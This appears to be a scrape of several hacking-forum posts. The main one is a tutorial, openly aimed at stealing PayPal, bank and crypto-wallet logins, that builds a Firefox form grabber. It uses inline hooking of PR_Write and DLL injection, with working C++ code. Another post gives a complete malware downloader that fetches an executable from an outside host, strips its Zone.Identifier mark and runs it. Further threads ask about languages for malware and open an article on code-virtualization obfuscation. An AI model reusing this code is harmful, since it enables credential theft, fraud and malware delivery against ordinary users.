We use the form grabber most of the time on targets they have access to Important web sites logins, for example, Paypal, bank login, crypto wallet login like blockchain.com, kucoin,
And much more money websites or maybe just a college website maybe the hacker is targeting the admin

#why to use it why not just use a stealer?
A good question you may ask is, why just not use a stealer, will steal everything, logins, cookies, and more?
Ok ok! I will answer this question . ! How many times have you used a stealer and you got expired cookies and an invalid old stored password? A lot of time, so why will use form Grabber this will give you fresh data, some times for example: when you update the password on some web sites the chrome browser will ask you will you want to update or store the password if the target clicks NO and after few hours the cookies expired because the website is very sensitive like blockchain.com with info stealer You get 0 but with the form grabber you get the live email, crypto wallet, and the password

For now good I think you now know why sometimes should use a form grabber! Attention iam not saying info stealers are bad,

#How Does form grabber work?
For example, we need to write a form grabber for Mozilla Firefox the first step is to find the function is responsible for writing the buffer to the server

In Winsock Library we have send and recv the send from its name is responsible for sending data and recv is responsible for receiving data from the server also firefox uses Winsock but it has its own wrapper for the Winsock library which is developed to work with Firefox without problems

And for sending and receiving firefox has PR_WRITE and PR_READ also PR_Recv

According to Firefox source code documentation
https://firefox-source-docs.mozilla.org/nspr/reference/pr_read.html
https://firefox-source-docs.mozilla.org/nspr/reference/pr_write.html

The function PR_READ is responsible for reading the buffer from the server, and the function PR_WRITE is responsible for writing the buffer to the server
For example, we need to log in to paypal.com or twitch.com, or any website, to do that we need to use PR_WRITE to send the username / Email and password to the server and PR_READ to read the result from the server Success Login, Or failed! I mean everything like Html, CSS, JAVASCRIPT, and so on

Today will work on PR_WRITE to steal the login data or credit cards

But before that let's learn About Inline hooking the main technique used by the Formgrabber

#What is Inline Hooking?
Inline Hooking is a technique that allows the attacker or hackers to intercept the function arguments example: like a proxy Burp suit can intercept the http request, also the hooking allows to you to intercept the Arguments, Hooking is widely used by Malware developers, also is used by Antivirus, sandboxes
Since can intercept the arguments of the function so the Antivirus can hook for example WriteProcessMemory And can read the unencrypted buffer you write for example in Process Hollowing

A simple example: We have MessageBoxA which has 4 arguments
int MessageBoxA( [in, optional] HWND hWnd, [in, optional] LPCSTR lpText, [in, optional] LPCSTR lpCaption, [in] UINT uType );

Let's assume we need to interact with this function and need to change its behavior of it like changing the Caption or lpText so to do the job done we need to use Hooking

Keep in mind these are just examples there are a lot of other uses for the Hooking Like userland Hooks, Hooking web browsers, Hooking Putty, and FileZilla also can be done to steal such as sensitive data

So we discuss how Hooking works in Human understanding! Now will discuss the Techniquel way

So A Success API Hooking need these 7 steps so make sure you read them carefully and don't skip any step to make sure this will work for you

1 - Get the original function address
2 - Read the first 5 bytes from the original function
3 - Calculate relative address and write jmp instruction to byte array and relative address
4 - Create a Trampoline function typedef
5 - allocate memory for the Trampoline function
6 - copy the original 5 bytes, copy the Push instruction, and copy the rva then copy the return instruction to the trampoline function
7 - Will done the Hook is done

Inline Hooking can be different with different architecture x32 is different from the x64 inline
When it came to coding Why?

The x64 memory Is too large so the jmp instruction can’t reach the Allocated memory
And to fix this problem we need to find free memory space behind the Target function
Will not discuss the x64 Hooking right now but, will get into it soon when we finish the x86 Hooking project Don’t worry

Since now you already know how does Inline Hooking works, now I will tell you how technically form grabber work

Now there are a few tools you need to download before we start coding

1 - Visual studio IDE
![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2FpwLps4SHfBiOTzHQ6ogZ- JU49SfMf_C5_L0IwpXLXCvFaycFxxZc1iC229bAdWZLglZcKnUtLBjMwr_b3nLstTw8RFGtWNL7WcOWT_CND22Z_gPiVcc9PIdmdqwMtUHktulwAl65d75otEar_H00dfM&hash=b140d6dbeae2a69d3d6813ac357faeb0)
2 - Cheat engine ( I recommend it because so easy to use but you can use any other debugger )
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FmIL5-Yepw- GtLzlUgji7VcR5Tal_lZ2_jv4rRaUFjDNW9KJTOTFdGbolSBo9RqJL2AGspOzbvtOx4nDqQgskig8RmJ3T5df0ekC- CutbDSJE30Ywm3YMptv1OQqwNdrTn8IoMuh3LgcjJT83TTBkOh8&hash=a4b6db9a19619b1ef0f97e2afa7cd47d)
3 - Download Firefox both Archcuter for x32 and x64 because as we discussed before the hooking for x32 will not work for x64 and because will test on both so you need to download both
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FYXZ2zRNw42IhmurO3HUwREqzwgFR6qXuedk1qxpGltMVgyYg5OkU7NJRAt02fQb7ylJsvAlQJG-0kCjr3iuhvS- NylnPb- BB1MbRam2iL5_7BLX4Ru9scqG3jpUcmFUvhVPWYuhx5PKTp4EmilbgzTA&hash=14e1658bb0848f5b6ee7e6da223d8bb2)

After you are done downloading the tools now open visual studio and create an Empty c++ project name it Application, And create a c++ file name it test. Cpp
Before we start writing the Form grabber we need to get experienced a little with hooking to do that we first need to write a hook for the MessageBoxA function and intercept the Arguments and change them also print the Old argument in the console

Ok after you create the project and test.cpp file now writes the following c++ code.

C++:Copy to clipboard

int main(int argc, char* argv[])
{
    HMODULE Huser32dll = GetModuleHandleA("user32.dll");
    FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));

    printf("Original MessageBoxA address 0x%x ", FunctionAddress);
}

![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2Fv8zQI74hc556wQFe8EfTIpH5_CzE4NAJLChJ134bnqs36tdq8m9fKyorsEmmT8A-ufGCeK51K1e0ys6ieoM8_119KvPDZZwj-3qXLGFFnapbC53OcnXQDKzz9Idxw- icjCXNvVQEh6S3IeIVj70KqGQ&hash=2f64a6a76feaea05590a37663eb51ba1)
This code is very simple We use GetModuleHandleA to retrieve the base address of the module user32.dll as an HMODULE, then we use GetProcAddress to retrieve the address of the exported function we need to import and as you can see printf to print the base address of the function address then we create byte variable finally we use ReadProcessMemory to read the first five bytes

Attention: the minimum number of bytes and its required is 5 bytes 1 for jmp instruction and 4 for the address to jump as an x86, be careful some functions need to copy more than 5 bytes like in PR_WRITE, and will see soon why we need to copy and patch more than 5 bytes.

Good Job we finish the Step 1 which is described above.

Now step two from step seven Calculate the RVA ( relative address between the destination function and the source function which is the Hook function )

Before calculating the Relative address first we need to declare the Hook function as seen in the image bellow

But Hold on, how did we know what arguments we should add to know that we need first to know the original function arguments and the original function arguments as bellow
int MessageBoxA( [in, optional] HWND hWnd, [in, optional] LPCSTR lpText, [in, optional] LPCSTR lpCaption, [in] UINT uType );

So what we need to do is declare the same function with the same data type which is an int but we need only to change the Function name otherwise the project won't be compiled cause will get confused function already declared in WINAPI.

C++:Copy to clipboard

int main(int argc, char* argv[])
{


    MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);

    HMODULE Huser32dll = GetModuleHandleA("user32.dll");
    FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));

    printf("Original MessageBoxA address 0x%x ", FunctionAddress);

    BYTE    OriginalBytes[5] = { 0 };

    BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
}

Now once we finish from declaring the function now we need to Calculate the RVA by passing the address of the Hook function and the address of the original function and adding +5 bytes to the original function this need, after done this we declared a new variable called JmpBytes and the data type is a byte, now we Should copy the jmp instruction to JmpBytes and then copy the relative address to JmpBytes but make sure you add +1 to skip the jmp instruction otherwise it will overwrite on the jmp instruction So be careful any small error it will never work.

C++:Copy to clipboard

    // calculate RVA

    DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));

    BYTE    JmpCode[5] = { 0 };
    memcpy_s(JmpCode, 1, "\xE9", 1);
    memcpy_s(JmpCode + 1, 4, &RVA, 4);

    // WRITE jmp to function
    WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);

Now go back to MessageBoxB and as you already know its the Hook function can see that in the code above

And the first step we will do is to print out the arguments of the Original MessageBoxA

C++:Copy to clipboard

printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);

We did not finish yet there is still the trampoline, For now, this code will work and print out the arguments but will crash after that so just for testing purposes add sleep in the Hook function after printing the arguments will not crash directly so we have time to check the function from Cheat engine. so now compile the code and, and Don’t forget to add MessagBoxA to be loaded from user32.dll otherwise you need to use LoadLibraryA, not GetModuleHandle
So finally TEST CODE will be like this

Code:Copy to clipboard

int MessageBoxB(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
    printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
   
    Sleep(10000); // sleep to see the effect before crash because we did not finsihed the full project yet
}

int main(int argc, char* argv[])
{


    MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);

    HMODULE Huser32dll = GetModuleHandleA("user32.dll");
    FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));

    printf("Original MessageBoxA address 0x%x ", FunctionAddress);

    BYTE    OriginalBytes[5] = { 0 };

    BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);


    // calculate RVA

    DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));

    BYTE    JmpCode[5] = { 0 };
    memcpy_s(JmpCode, 1, "\xE9", 1);
    memcpy_s(JmpCode + 1, 4, &RVA, 4);

    // WRITE jmp to function
    WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
   
    MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
   
    return 0;
}

Now open the cheat engine and launch the Application.exe and go to MessageBoxA and set A BreakPoint on the MessageBoxA function

To find the Function MessageBoxA first after attaching to the application go to Memory view -> then view -> then enumerate dlls and symbols and click on it finally search for MessageBoxA And click on the function name
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FZ6vS7v0mdjKqRz1Y1_93xDiS6K0ZeHJBVoXUKB7DoP85GbTO43sNpqToErJUBkDttYqemltzS8AuRiWAqPXY3j2wR8gh6FtPF4pXAn6wTAYZ- ccImz_p67jfV-dueulgE14szmg- TQ8oW0HQmXSqlOo&hash=5d6fbb7b8390cdd6119595504c4fae51)

As you can see the function before the hooking

Now click on the message box ![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FWxjq2qJrZx35A_od4V9u_toWAvB- OftHawWt4jRhMka18P7MVFgC6wZCN0FMo7jiaTnSe8nJa4En6I-z_HAyBMuApFr8Cpp1Rr7k8Q1jyWS_d667gvILqvAybmo802gy- hy3QW_amvfplw3xR1WuuBQ&hash=7f69fbb1820eb991828200f627af98f9)

And this is the first one before the Hooking after clicking it the hooking will be done and should see the arguments printed on the CMD

As you can see now after the Hook is done see the Cmd printed the MessageBoxA arguments!
Is only that? No, we also can modify it and change the original message box arguments that were entered by the developer and pass our own. but before we do that we need to create the trampoline otherwise it will get crashed as of now.

To create the trampoline function.
1 - First create a typedef from the MessagBoxA function
2 - Create an LPVOID variable and will be the trampoline make sure to make the variable PUBLIC as in the code bellow

3 - Allocate Memory using VirtualAlloc for and make sure the make the page permissions PAGE_EXECUTE_READWRITE and the size will be 11! how did I know the size
To calculate the size first we need to add the bytes we copy i mean the original 5 bytes then 1 for push and 4 for the RVA and 1 for the return the total is 11 so we need to allocate memory size 11

4 - Copy the Original 5 bytes we copy in the first time
5 - copy the push instruction but again you need to add +5 and the five represent the bytes size so we skip the first 5 bytes and do not overwrite them
6 - Copy the Rva ( Relative address )
7 - Copy the return instruction

Now back to the Hook function MessageBoxB that we create and now will edit the arguments of the Orignal MessageBoxA function
Now create a pointer to the trampoline address that we allocate before and assign the type of the typedef we create ftrempolineMessageBox and make the return to it now you can pass whatever string you want in the arguments see the image bellow
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FLjuJVCXP- ZfiFfDihiY7uRcrPdG2X4YTuV3fTFcQby3N4kRbD1PEnf5XUoxdrr7ZzXzX2fzb1UIPmc18gcZy8oCB0dg6Figm- WJlPVofOxV5S68mWIClYdAgx2AeVa2AYIUrffy27EYQ2Nq546Caa6Y&hash=604d58729ca46e3679d470c056df0bd9)

Will done we finish the Hooking, and this is the full code without the sleep
[cpp]

Compile the code and run it and now should work without any error
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FDMsjdGuhfVlM8CmVGsTOsH9Gu0egptHQPDeAsb3QSsdc4Yc7NzGDiluvaNLmtamYxRsAw33he8stbuk4U0FpDGd3w9FEVVXgMrYGdG- uXeJx2EOR5WQowGs0bZkG2gZ2YqnQsqn236Q86lDGlUAAm3k&hash=64eb57b1b3c95a9bc42483bdecf0b06c)

As you can see in the message box the text is changed to my text
Video of working proof

Attention: Until now we are working on the same exe in the next section will work from dll and inject Dll to the Firefox process then will install hook from the Dll will patch the jump and read the Buffer from the Hook function of PR_WRITE but now will not read MessageBoxA now will read the buffer that the browser sends it to the server and parse the username and password

Congratulations.

Now create two other projects both are Empty c++ projects the first one name it hook and the other name it injector

Go to hook and go to project properties and then -> Advanced and change the target extension to .dll

Now create injector.cpp and hook.cpp in the both projects

C++:Copy to clipboard

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {

 

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)InstallHook, NULL, 0, 0);

        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Add the code above to the hook.cpp file .

![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FTiObhJhttFq- qS0wSLnbehLBShWdxadjAJ609xpKaOejBaFY1nJ5Twi6mm5x_MV1LaarJSdrd4pPoxWgI09FamhugR9OjnZ1CLscOp7HVGR6y3g_O- rTLSDcJZbBq9nKMphS39z-19lGNmiKueFBAHI&hash=b3c52d3bbefb4e6de38a2e3685c10876)

No big deal we just write the entry point of the DLL and create a thread to invoke our function called Installhook, The function Installhook is the function that will be used to install the hook and create the trampoline.

Now there are a few requirements we need to find and define it in the c++ file , as we do before we need to find the type and arguments used by PR_WRITE we do that on MessageBoxA in the above code

Thanks GOD the Firefox source code are available on Firefox source documentation
https://firefox-source-docs.mozilla.org/
Go to https://firefox-source-docs.mozilla.org/nspr/reference/pr_write.html to find the PR_WRITE
And then create a typedef from the function also create A hook function from the PR_WRITE function

PRInt32 PR_Write(PRFileDesc *fd, const void *buf,PRInt32 amount);

Now your code should be like this .

C++:Copy to clipboard

typedef int (*PTRPR_Write)(SOCKET* fd, char * buf, int amount);

LPVOID TrempolineAddress = NULL;

int HPR_Write(SOCKET* fd, char * buf, int amount)
{

    PTRPR_Write fTRPR_Write = (PTRPR_Write)TrempolineAddress;

    return fTRPR_Write(fd, buf, amount);
}

As you can see I changed the PRFileDesc to SOCKET pointer and const void You also can change it to char*

Will I guess you already know what is that, don’t worry about the return function to the trampoline address will allocate the memory from InstallHook Function

For more debugging information we can allocate the Console using the code above

C++:Copy to clipboard

AllocConsole();
 freopen("CONOUT$", "w", stdout);

Add the code to the InstallHook function
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FEJWLmtbPHuG8iop96K2TZvIr-i6O61yvkJIkxvEj5Qag2nOzk3VHDUxho-3TSLbc5WD- BAUTwK4UHpjIun2i4y7y0uXDkcqIdt6uIZEgGn5GEjDqvlpn-o2TyBxdjl9gF1Y8H71WNXr5RvqiFTpUpV4&hash=b4403b65e1c8beb6c155a938db2e5ea1)

Now here before we read the bytes from the Original Function ! did you remember when I told you above some functions need to read and patch more than five bytes?

Now I will tell you why is that, first launch the Firefox Browser and second launch Cheatengine and attach to Firefox

![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FAZFXcLs-o2x9GI7SsnZSgtQIployBXdfc7e-Xqz6TZ2oS31BYrkYCZKqtXdptTRTFEd- TeqpF7IUu2GlBNqCSTzr-1hh_7n7j6lmAeEmHu1cDw2uQ5cvLRU29NUaJOqRC_aeEyFu6SRKE7Op05AWV9c&hash=1847b4107e01d5ec58d88e8aaa6f67d4)

Click Open then Memory view and then view from the toolbar of cheat engine and finally click on Enumerate dlls and symbols
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2F7rJLeS5t1UJDGh --l7SUD9oXp- yEsgNdugs4Ag_FYclppo3ghgVA5TIkRv4pS9sZ4I93E19nqVzBm_L4BdAe_rR0o7dnpEslS42Jk27fGKVnvC4ESUcWYgR1Sega5nPyCW4KQytEx2fwzQPGlmxV2Ws&hash=31d6ce93cc334106bdd89105c0000842)

Or just on your keyboard use hots keys to open the Enumerate dlls and symbols by typing
Ctrl + alt + s

Now search for PR_WRITE once the cheat engine find it click on it

It should take you to the PR_WRITE function
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FpmSh_yWj_mbyQ5K0Rdh2wVLK4iiKe4yJVH- BwiYEvZRALuqdYaewklHFLiAIdWG10HIxCuRoUpTgWbBi6m-21zxGWMZ0SuS1tpYmeD70AEmVtnJrFtsC1otMFMJ3qskz464phIp3hoZ_EqKaiSe4RlU&hash=4ad57e991568115934eec3ce2ecc948e)

Good now focus on the PR_WRITE function and read the first five bytes can’t true? yes true if we copy the five bytes this will break the mov esi,[ebp+10]
So to fix this problem we need to Copy Seven bytes instead of five bytes which is From push EPB until move esi, Why? cause as you already know the jmp instruction is 1 byte size and the address we want to jump to it is four bytes so the total is five but we can also copy more than five like in this situation we have

Now back to Visual Studio and add the following code to the function InstallHook .

C++:Copy to clipboard

 /// 2
    byte    OriginalBytes[7];
    DWORD   ReadedBytes = 0;
    DWORD   BytesSize = 7;
    FARPROC  OriginalPrWriteAddress = GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write");

    printf("Original PR_WRITE Function address at 0x%x ", OriginalPrWriteAddress);

    BOOL readbytes = ReadProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, &OriginalBytes, BytesSize,&ReadedBytes);


    /// 3
    if (readbytes != FALSE && BytesSize == ReadedBytes)
    {
        byte JmpBytes[7];
        DWORD WrittenBytes = 0;
        DWORD dstFunction = (DWORD)&HPR_Write;

        DWORD Rva = dstFunction - ((DWORD)OriginalPrWriteAddress + 5);

        memcpy_s(JmpBytes, 1, "\xE9", 1);
        memcpy_s(JmpBytes + 1, 4, &Rva, 4);
        memcpy_s(JmpBytes + 5, 1, "\x90", 1);
        memcpy_s(JmpBytes + 6, 1, "\x90", 1);

       BOOL WriteJmp =  WriteProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, JmpBytes, BytesSize, &WrittenBytes);


       /// 4
       if (WriteJmp != FALSE && BytesSize == WrittenBytes)
       {
           // here the code of trempoline function
       }
    }

So here we getting the address of the module Or Dll which is nss3 for the Firefox Browser and the function Name is PR_WRITE, then we read the seven bytes from the original function
Check if there an error while reading the bytes if no error calculate the RVA ( Relative address )
Then Copy the Jump instruction to the byte array variable, now copy the Relative address to
The same variable which is the byte array finally copy the /xE9 which is nop or do nothing code this nop is not required in all Inline Hooks if you remember when we hook the MessageBoxA function we didn't use the nop that because there is no extra bytes like in PR_WRITE function
I hope you understand me.
Attention we can use memcpy as an Alternative to ReadProcessMemory and WriteProcessMemory But then you will need to use VirtualProtect to change the protection of the address where you will copy the bytes and restore it to the original protection Once you are done.

Now use WriteProcessMemory to write the Hook or Jump instruction to the Original Function
And Don’t worry the function WriteProcessMemory will do the protection changing for us and don’t need to use VirtualProtect here.
Now if you are smart and focus on the code you will see when we calculate the Relative address we add five +5, not +7 why? this is because as we say before the Jump Instruction and the address is five bytes in the x86 System.

Ok now we just using an if statement to check if there is any error while writing the bytes if no error
Now will create the Trampoline so the size of the trampoline is different we Copy 7 bytes and the the push instruction is 1 byte and the Rva is 4 bytes and the return is also 1 byte so the total is 13 bytes here is how we calculate them

No copy of all that using memcpy_s and no need to use WriteProcessMemory cause the address is already allocated and we copy them directly

Will Done, Awesome now launch the cheat engine and Firefox and Process hacker to inject our dll in Firefox
Here I will record a video to show you the full POC proof of concepts of the working DLL

Will done I hope you enjoy the tutorial if you need any help iam ready to help.

You can find the Project Source code here :
No password.

If you like it tell me in comment i will add more tutorial in future

Раст или Си
ID: 6765d804b4103b69df375817
Thread ID: 81040
Created: 2023-02-01T11:42:02+0000
Last Post: 2023-03-02T12:21:24+0000
Author: BERSERK
Replies: 41 Views: 4K

Хотел узнать что лучше для мальваря - раст или си. Нулевые знание в обоих языках, но есть начальный - средний уровень питона

Изучение C++ c нуля
ID: 6765d804b4103b69df37583e
Thread ID: 66331
Created: 2022-04-29T07:28:15+0000
Last Post: 2022-12-24T09:17:42+0000
Author: K4r4ssu
Prefix: Мануал/Книга
Replies: 21 Views: 4K

В общем задался изучить плюсы с 0
Порылся в этих ваших интернетах и нарыл достойный материал, для обучения с 0 самое то.

**

Hidden content for authorized users.

Cтоляров А.В.

**

Hidden content for authorized users.

в трех томах
Плавно произведет пенетрацию в Ваш мозг сначала объяснив основы работы ЭВМ, затем научит писать на паскале, после этого ассемблер и наконец долгожданные плюсы
Том первый**
Том второй
Том третий**
Задачник

Страуструп, "прародитель" с++, естественно стоит прочитать. После столярова зайдет на "Ура", хотя в некоторых местах можно сломать мозг...

скачать

Ravesli, сайт с уроками по плюсам, так же все достаточно понятным языком объясняют.

**ravesli

WASM**, сайт посвящен Windows, ASM, C, тонны информации.

WASM

Ну и бонусная литература.
[Справочник по](https://ru.pdfdrive.com/%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%87%D0%BD%D0%B8%D0%BA-%D0%BF%D0%BE- win32-api-e194192118.html)[WIN API](https://ru.pdfdrive.com/%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%87%D0%BD%D0%B8%D0%BA-%D0%BF%D0%BE- win32-api-e194192118.html)
WIN32API, 2008, Щупак

C++ Downloader
ID: 6765d804b4103b69df37585d
Thread ID: 43896
Created: 2020-11-04T07:49:32+0000
Last Post: 2022-11-28T01:28:30+0000
Author: bnetmstr
Replies: 18 Views: 4K

WININET + urlmon
CreateProcess + ShellExecute

Rabotojet s unicode toshe, mosh komu pregoditza

Udalajet Zone.Identifier

Sohranejet file w %temp%\randnumbers.exe

Code:Copy to clipboard

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
#include <shellapi.h>
#include <wininet.h>
#include <Shlwapi.h>
#include <tchar.h>

bool ExecuteProcess(wchar_t *szFile)
{
    HINSTANCE hResult;

    STARTUPINFOW pStartInfo;
    PROCESS_INFORMATION pProcessInfo;
       
    memset((STARTUPINFOW*)&pStartInfo, 0, sizeof(STARTUPINFOW));   
    memset((PROCESS_INFORMATION*)&pProcessInfo, 0, sizeof(PROCESS_INFORMATION));   

    pStartInfo.cb          = sizeof(STARTUPINFOW);
    pStartInfo.dwFlags     = STARTF_USESHOWWINDOW;
    pStartInfo.wShowWindow = SW_SHOW;

    if (CreateProcessW(NULL, szFile, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &pStartInfo, &pProcessInfo) == TRUE)
    {
        Sleep(1000);

        return true;
    }

    hResult = ShellExecuteW(NULL, L"open", szFile, 0, 0, SW_HIDE);

    int result = int(hResult);

    if (result > 32)
    {
        Sleep(1000);

        return true;
    }

    return false;
}

void Download(wchar_t *szLink)
{
    HANDLE hFile;

    srand(GetTickCount());

    HINTERNET hOpen, hURL;   

    DWORD dwRead, dwWrite;

    bool DownloadedFile = false;

    WCHAR szFile[MAX_PATH];
    WCHAR szTempPath[MAX_PATH];
    WCHAR szData[MAX_PATH];
    WCHAR szZonePath[MAX_PATH];

    ExpandEnvironmentStringsW(L"%temp%", szTempPath, sizeof(szTempPath));
                   
    srand(GetTickCount());

    wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);

    hOpen = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if (hOpen != NULL)
    {   
        hURL = InternetOpenUrlW(hOpen, szLink, NULL, 0, 0, 0);

        if (hURL != NULL)
        {
            hFile = CreateFileW(szFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
                           
            if (hFile != INVALID_HANDLE_VALUE)
            {
                memset(szData, 0, sizeof(szData));

                while (InternetReadFile(hURL, szData, sizeof(szData) - 1, &dwRead) && dwRead != 0)   
                {
                    WriteFile(hFile, szData, dwRead, &dwWrite, NULL);
                }

                CloseHandle(hFile);

                wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);
                       
                DeleteFileW(szZonePath);

                Sleep(100);
               
                if (ExecuteProcess(szFile) == true)                           
                    DownloadedFile = true;

            }

            CloseHandle(hFile);
        }
                   
        InternetCloseHandle(hURL);
    }
               
    InternetCloseHandle(hOpen);
   
    Sleep(500);
   
    if (DownloadedFile == false)
    {
        wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);

        if (URLDownloadToFileW(0, szLink, szFile, 0, SW_HIDE) == S_OK)
        {
            wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);

            DeleteFileW(szZonePath);
           
            Sleep(100);
           
            ExecuteProcess(szFile);
        }
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)   
{
    Sleep(500);
   
    Download(L"http://host.ws/funnyworm.exe");

    return 0;
}
Как я встроил компилятор в компилятор
ID: 6765d804b4103b69df375890
Thread ID: 64508
Created: 2022-03-19T20:32:21+0000
Last Post: 2022-09-10T20:00:16+0000
Author: DildoFagins
Prefix: Статья
Replies: 24 Views: 4K

intromeme.jpg

И снова здравствуйте, друзья! Сегодня я расскажу вам историю о том, как я упоролся виртуализацией программного кода (в плане обфускации и защиты, конечно же, а не в плане этих ваших ВМВарей или ВиртуалБоксов). Тема виртуализации кода достаточно давно меня интересует. В фоне с основным своим родом деятельности я то и дело почитывал всякие интересные вещи об этом. Более того, мой бро Haunt давно просил меня написать что-нибудь интересненькое о виртуализации, а я — ленивая жопа, все никак этого не делал. И тут однажды мне пришла в голову идея, как совместить ее (тему виртуализации) с еще одним моим увлечением — мета-программированием. Я вообще знатный задрот в плане ЯП, знаете ли. В итоге (будем считать, что в качестве упражнения) я решил запилить свою собственную небольшую крекмишу с псевдо-кодом и виртуальной машиной. Ровно такую же, как мы рассматривали в моей предыдущей статье про VEH и INT3, но под своим особым мета-программным соусом. Справедливости ради, я сделал ее раньше, чем стал тестить свой анклав из говна и палок. Но тут матчасть посложнее, и я решил сделать эту статью потом… ну то есть сейчас… не важно. Само собой эту крекмишу я залил на сайт со спецового вида спецовыми спецами по реверсингу, само собой они ее быстро порешали и даже успели изрядно полить желчью и гуаном всю тему с ней, но суть упражнения была далеко не в том, чтобы этих спецов уделать, а научиться компилировать, когда компилируешь…

Содержание:
1. Введение
2. Стековая виртуальная машина
3. Программирование крекмиши
4. Типы и структуры ВМ
5. Создаем эмиттер
6. Создаем ридер и дизассемблер
7. Создаем компилятор
8. Создаем виртуальную машину
9. Заключение

1. Введение

Мы живем с вами в эпоху, когда куча языков с разной степенью успеха пытается заменить собой эти ваши единственные рассово-верные Сишечку и Плюсы. Любимым языком из этой категории для меня был, есть и скорее всего будет язык Nim. Помимо сравнительно читаемого петоно-подобного синтаксиса и неплохого кодогенератора в Сишечку у языка Nim есть особо дорогая моему сердцу фича — мета-программирование. Мета-программирование в Nim по своей сути очень напоминает его же в Lisp’е, но без бесконечно бесящего синтаксиса, состоящего из скобочек больше, чем полностью. В подавляющем большинстве компиляторов и интерпретаторов исходный код представляется в виде древовидной структуры — AST (abstract syntax tree — абстрактно синтаксического дерева), так вот Nim по средствам так называемых «макросов» позволяет получить эту древовидную структуру во время компиляции и произвольно изменять ее. Забегая вперед, эта дивная фича и позволит нам компилировать, когда компилируем. Но для начала давайте обсудим еще несколько вводных вещей.

Как работают всякие динамические интерпретируемые языки, типа Петонов, например? Мы будем рассматривать все этапы в наиболее упрощенном виде. Исходный код в памяти преобразуется в AST с помощью парсера и лексера (бывает, что парсер и лексер реализованы одним и тем же компонентом, но не суть важно). Затем (учитывая, что на прошлом этапе не было синтаксических ошибок) AST проходит несколько этапов упрощения, при которых высокоуровневые конструкции языка преобразуются в более низкоуровневые, это сделано для своего рода минимизации следующих этапов. При этом может производиться семантический анализ (говоря простым языком, проверка «правильности» или корректности написанного кода). Затем AST преобразуется в байт-код для виртуальной машины, которая в последствии будет этот байт-код исполнять. Байт-код и, собственно, виртуальная машина по своей архитектуре в принципе могут быть любыми, но так исторически сложилось, что очень многие виртуальные машины являются стековыми (CLR, JVM, CPython и многие другие). В статье мы будем делать именно стековую виртуальную машину, мне кажется, что для начала она будет проще для понимания, да и знания эти могут пригодится при разборе байт-кода многих других ВМ.

